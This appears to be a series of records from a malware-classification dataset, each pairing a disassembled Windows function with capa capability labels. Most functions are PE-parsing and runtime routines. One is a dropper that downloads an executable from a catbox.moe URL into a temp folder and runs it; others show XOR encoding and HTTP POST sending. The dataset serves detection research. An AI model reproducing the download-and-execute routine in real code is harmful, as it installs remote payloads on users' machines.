joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002210
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000225d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002254
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000225f
add rax, 0x28
cmp rax, r9
jne 0x140002240
xor eax, eax
ret

Function at 0x140002260
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400022f0
mov rdx, qword [0x140009740]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400022de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400022de
cmp word [rax + 0x18], 0x20b
jne 0x1400022de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400022f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400022c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400022f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400022c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009740]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002320
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000237d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002320
add rax, 0x28
cmp rax, r9
jne 0x140002360
xor eax, eax
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009740]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000239f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000239f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009740]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002430
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002427
test rcx, rcx
je 0x1400023e0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002418
xor eax, eax
ret
Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009740]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000245f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002468
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002480
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009740]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400024a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400024f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002500
add rdx, 0x28
cmp rdx, r9
jne 0x1400024e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009740]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002532
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002540
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002532
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002532
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002532
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002595
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400025a8
add rdx, 0x28
cmp r10, rdx
jne 0x140002580
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400025b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400025c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000259e
test ecx, ecx
jg 0x1400025b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001f24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f70
xor al, al
add rsp, 0x28
ret

Function at 0x18082c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18082c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18082c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18082c06f
add dl, dl
jne 0x18082c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18082c0f6
xor eax, eax
add dl, dl
jne 0x18082c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18082c1ad
add dl, dl
jne 0x18082c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18082c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18082c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18082c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18082c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18082c07e
mov eax, 1
add dl, dl
jne 0x18082c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18082c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18082c0fb
sub eax, ebx
mov ebx, 1
jne 0x18082c14c
mov ecx, 1
add dl, dl
jne 0x18082c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18082c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18082c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18082c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18082c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18082c15d
cmp eax, 0x7d00
jae 0x18082c19b
cmp eax, 0x500
jb 0x18082c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082c07e
cmp eax, 0x7f
ja 0x18082c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18082c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18082c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000631c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140010960], rbx
je 0x140006383
cmp rax, rbx
jne 0x140006376
mov ebx, 1
mov esi, ebx
jmp 0x140006388
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000635b
mov ebx, 1
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x1400063a0
mov edi, 0x1f
mov ecx, edi
call fcn.140189000
jmp 0x14000640c
mov eax, dword [0x140010968]
test eax, eax
jne 0x140006401
mov dword [0x140010968], ebx
lea r15, [0x1400089c8]
lea rdi, [0x1400089b0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x1400063f3
test eax, eax
jne 0x1400063f7
cmp qword [rdi], r14
je 0x1400063e8
mov rax, qword [rdi]
mov rcx, qword [0x140008930]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400063ca
test eax, eax
je 0x140006407
mov eax, 0xff
jmp 0x140006562
mov dword [0x14000e3e4], ebx
mov edi, 0x1f
mov eax, dword [0x140010968]
cmp eax, ebx
jne 0x140006433
lea rdx, [0x1400089a8]
lea rcx, [0x140008938]
call sub.msvcrt.dll__initterm
mov dword [0x140010968], 2
test esi, esi
jne 0x140006441
mov rax, r14
xchg qword [0x140010960], rax
cmp qword [0x140010970], r14
je 0x140006474
lea rcx, [0x140010970]
call fcn.140006730
test eax, eax
je 0x140006474
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140010970]
mov r9, qword [0x140008930]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000648d
mov eax, 0xff
jmp 0x140006562
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x140006513
test ax, ax
je 0x1400064a8
test edx, edx
jne 0x140006513
sub ax, bx
cmp ax, di
ja 0x1400064be
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x1400064a8
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001394
mov dword [0x14000e3e0], eax
cmp dword [0x14000e400], r14d
jne 0x1400064fc
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000e3e4], r14d
jne 0x140006511
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000e3e0]
jmp 0x140006562
cmp ax, 0x22
jne 0x140006527
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140006496
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.1400067b0
add rsp, 0x28
jmp 0x14000631c
Function at 0x140001130
Capabilities:
Check internet connectivity via wininet
Create directory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
sub rsp, 0x728
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x710], rax
xor r8d, r8d
lea rcx, str.http:__www.microsoft.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x1400012df
lea rdx, [rsp + 0x500]
mov qword [rsp + 0x720], rbx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rsp + 0x500]
mov edx, 0x104
lea r8, str._svdins
lea rcx, [rsp + 0x2f0]
call fcn.140001070
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmkdir]
lea r9, [rsp + 0x2f0]
mov edx, 0x104
lea r8, str._s_vdinstlr.exe
lea rcx, [rsp + 0xe0]
call fcn.140001070
xor ebx, ebx
lea r8, [rsp + 0xe0]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__files.catbox.moe_9g5jmn.vd
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1400012cc
lea rdx, [rsp + 0xe0]
lea rcx, str.Saved_to__s_n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rsp + 0xe0]
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x720]
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.140001310
add rsp, 0x728
ret
lea rcx, str.Failed
call fcn.1400010d0
mov eax, 0xffffffff
jmp 0x1400012ac
xor eax, eax
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.140001310
add rsp, 0x728
ret

Function at 0x140001be4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c30
xor al, al
add rsp, 0x28
ret
Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
mov esi, eax
movabs eax, dword [0xda8b088900409214]
test ebx, ebx
jle 0x4070a1
mov eax, 0xff
call fcn.00402680
xor byte [rsi], al
jne 0x407091
pop rsi
pop rbx
ret

Function at 0x40b054
Capabilities:
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x4060
call fcn.0041b070
sub rsp, rax
mov rax, qword [0x004385b0]
mov qword [rsp + 0x4050], rax
mov rdi, rcx
lea rax, [0x0042b090]
mov rbx, rdx
lea rcx, [rsp + 0x52]
xor esi, esi
xor edx, edx
mov r8d, 0x3ffe
mov qword [rsp + 0x40], rax
mov word [rsp + 0x50], si
call fcn.0040d7f0
lea rdx, [rsp + 0x50]
mov r8d, 0x2000
mov rcx, rdi
call fcn.0040afd0
mov rcx, qword [rdi + 0x61af0]
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], 0x4400040
lea r9, str.HTTP_1.0
mov qword [rsp + 0x28], rax
lea rax, [0x00427f5c]
lea rdx, str.POST
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
cmp rax, rsi
mov qword [rdi + 0x61af8], rax
jne 0x40b103
xor eax, eax
jmp 0x40b17b
lea rcx, str.Accept:___r_n
call fcn.0040e990
mov rcx, qword [rdi + 0x61af8]
lea rdx, str.Accept:___r_n
mov r8, rax
mov r9d, 0x80000000
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
cmp eax, esi
jne 0x40b13a
mov rcx, rdi
call 0x40a8f8
jmp 0x40b0ff
lea rcx, [rsp + 0x50]
call fcn.0040e990
lea rcx, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov rbx, rax
call fcn.0040e990
mov rcx, qword [rdi + 0x61af8]
lea r9, [rsp + 0x50]
lea rdx, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov r8, rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_HttpSendRequestW]
cmp eax, esi
setne sil
mov eax, esi
mov rcx, qword [rsp + 0x4050]
call fcn.0041b040
add rsp, 0x4060
pop rdi
pop rsi
pop rbx
ret

Function at 0x40b654
Capabilities:
Read .ini file

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x004385b0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x28], rcx
lea r9, [rsp + 0x30]
lea r8, [0x00427f5c]
lea rcx, str.Version
lea rdx, str.Number
xor ebx, ebx
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp eax, ebx
je 0x40b6bf
lea rdx, [0x0042b1d8]
lea rcx, [rsp + 0x30]
call fcn.0040e150
lea ecx, [rbx + 1]
cmp eax, ebx
cmovg ebx, ecx
cmp byte [0x0043ac40], 2
cmovae ebx, ecx
mov eax, ebx
mov rcx, qword [rsp + 0x70]
call fcn.0041b040
add rsp, 0x80
pop rbx
ret
Function at 0x40c530
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
lea rsi, [0x00440d80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [0x00440e78]
lea rdx, [rsp + 0x70]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x40c5b1
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x00440e78]
jmp 0x40c5cd
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x00440e78], r11
mov qword [0x00440e18], rax
mov rax, qword [0x004385b0]
mov qword [0x00440cf0], r11
mov qword [0x00440e00], rdi
mov dword [0x00440ce0], 0xc0000409
mov dword [0x00440ce4], 1
mov qword [rsp + 0x50], rax
mov rax, qword [0x004385a8]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x0042b668]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
cmp rcx, qword [0x004385b0]
jne 0x41b059
rol rcx, 0x10
test cx, 0xffff
jne 0x41b055
ret
ror rcx, 0x10
jmp 0x40c530
Function at 0x40c8bc
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rdi
sub rsp, 0x28
xor ebx, ebx
cmp dword [0x004442d8], ebx
je 0x40c8de
cmp qword [0x004442c0], rbx
setne bl
mov eax, ebx
jmp 0x40ca25
call fcn.0040c860
lea rcx, str.USER32
mov dword [0x004442dc], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp rax, rbx
mov rdi, rax
je 0x40c9e8
lea rdx, [0x0042c258]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442a0], rax
je 0x40c9e8
lea rdx, str.MonitorFromWindow
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442a8], rax
je 0x40c9e8
lea rdx, str.MonitorFromRect
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442b0], rax
je 0x40c9e8
lea rdx, str.MonitorFromPoint
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442b8], rax
je 0x40c9e8
lea rdx, str.EnumDisplayMonitors
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442c8], rax
je 0x40c9e8
lea rdx, str.EnumDisplayDevicesW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442d0], rax
je 0x40c9e8
cmp dword [0x004442dc], ebx
mov rcx, rdi
lea rdx, str.GetMonitorInfoW
jne 0x40c9cf
lea rdx, str.GetMonitorInfoA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, rbx
mov qword [0x004442c0], rax
je 0x40c9e8
mov eax, 1
jmp 0x40ca1b
mov qword [0x004442a0], rbx
mov qword [0x004442a8], rbx
mov qword [0x004442b0], rbx
mov qword [0x004442b8], rbx
mov qword [0x004442c0], rbx
mov qword [0x004442c8], rbx
mov qword [0x004442d0], rbx
xor eax, eax
mov dword [0x004442d8], 1
add rsp, 0x28
pop rdi
pop rbx
ret
Function at 0x40d270
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xa8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x94
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x40d2b5
mov eax, 0xff
jmp 0x40d50f
mov dword [rax], 0x94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x40d2e6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xff
jmp 0x40d50f
mov eax, dword [rbx + 0x10]
mov dword [0x00444cc4], eax
mov eax, dword [rbx + 4]
mov dword [0x00444cd0], eax
mov eax, dword [rbx + 8]
mov dword [0x00444cd4], eax
mov eax, dword [rbx + 0xc]
and eax, 0x7fff
mov dword [0x00444cc8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x00444cc4], 2
je 0x40d334
bts dword [0x00444cc8], 0xf
mov eax, dword [0x00444cd0]
shl eax, 8
add eax, dword [0x00444cd4]
mov dword [0x00444ccc], eax
cmp word [0x00400000], 0x5a4d
je 0x40d369
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, [0x00400000]
jmp 0x40d3f7
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x40d38d
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x40d3f7
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x40d3d4
cmp ecx, 0x20b
je 0x40d3ac
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x40d3f7
cmp dword [rax + 0x84], 0xe
ja 0x40d3c0
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x40d3f7
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x40d3f7
cmp dword [rax + 0x74], 0xe
ja 0x40d3e5
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x40d3f7
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
mov ecx, 1
call fcn.00410f70
test eax, eax
jne 0x40d427
cmp dword [0x00444cb8], 1
jne 0x40d413
call fcn.0040fc70
mov ecx, 0x1c
call fcn.0040fa40
mov ecx, 0xff
call fcn.0040d550
call fcn.00410df0
test eax, eax
jne 0x40d453
cmp dword [0x00444cb8], 1
jne 0x40d43e
call fcn.0040fc70
mov ecx, InitCommonControls
call fcn.0040fa40
mov ecx, 0xff
call fcn.0040d550
nop
call fcn.00410800
test eax, eax
jns 0x40d466
mov ecx, 0x1b
call fcn.0040d240
call int.004106e0
mov qword [0x00446b80], rax
call fcn.004104c0
mov qword [0x00444cb0], rax
call fcn.00410270
test eax, eax
jns 0x40d491
mov ecx, 8
call fcn.0040d240
call fcn.0040ff40
test eax, eax
jns 0x40d4a4
mov ecx, 9
call fcn.0040d240
call fcn.0040d600
test eax, eax
je 0x40d4b4
mov ecx, eax
call fcn.0040d240
call fcn.0040fee0
test byte [rsp + 0x6c], 1
je 0x40d4c8
movzx r9d, word [rsp + 0x70]
jmp 0x40d4ce
mov r9d, 0xa
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.0041affc
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x40d4ec
mov ecx, eax
call fcn.0040d7a0
call fcn.0040d7c0
jmp 0x40d50d
mov eax, edi
mov rbx, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xc8]
add rsp, 0xa8
ret